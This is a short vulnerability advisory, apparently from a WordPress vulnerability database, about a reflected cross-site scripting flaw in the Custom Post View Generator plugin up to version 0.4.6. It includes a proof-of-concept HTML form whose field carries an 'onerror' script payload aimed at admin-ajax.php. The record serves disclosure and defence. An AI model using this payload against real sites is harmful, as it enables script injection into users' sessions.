Custom Post View Generator <= 0.4.6 - Reflected Cross-Site Scripting

2021-08-1000:00:00

Neppah

351

custom post view generator

reflected cross-site scripting

admin-ajax.php

EPSS

0.001

Percentile

24.8%

JSON

The create_post_page AJAX action of the plugin (available to authenticated user) does not sanitise or escape user input before outputting it back in the response, leading to a Reflected Cross-Site issue

<form action="https://example.com/wp-admin/admin-ajax.php?action=create_postpage" method="POST">
<input type="text" name="object_type" value='<img src=1 onerror=alert(/xss/)>'>
<input type="submit">
</form>

EPSS

0.001

Percentile

24.8%

JSON

Related for WPEX-ID:E0BE384C-3E63-49F6-B2AB-3024DCD88686